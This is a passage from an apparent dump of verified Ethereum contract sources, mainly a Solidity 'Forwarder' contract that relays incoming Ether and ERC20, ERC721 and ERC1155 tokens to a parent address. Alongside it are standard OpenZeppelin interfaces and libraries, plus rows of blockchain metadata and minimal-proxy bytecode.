`bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts/utils/introspection/ERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n" }, "@openzeppelin/contracts/utils/Address.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n" } }, "settings": { "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }}
1
19,501,473
9b1ae349475b90827844332d321087594e9ee1c13fd602c245fa19359f999fd8
20bf9a32a1c07ed989a40d30d0d5212df92b82456ac30f20cd3f7fabfe26d76f
578f533873dc8ea60ab1417180cc531f172ee292
29ef46035e9fa3d570c598d3266424ca11413b0c
12caf565e20a4ef13ea26d083bb16416e6e093d0
3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
{{ "language": "Solidity", "sources": { "contracts/Forwarder.sol": { "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n" }, "@openzeppelin/contracts/token/ERC1155/IERC1155.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts/token/ERC721/IERC721.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n" }, "contracts/ERC20Interface.sol": { "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n" }, "contracts/TransferHelper.sol": { "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n" }, "contracts/IForwarder.sol": { "content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n" }, "@openzeppelin/contracts/utils/introspection/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts/utils/introspection/ERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function 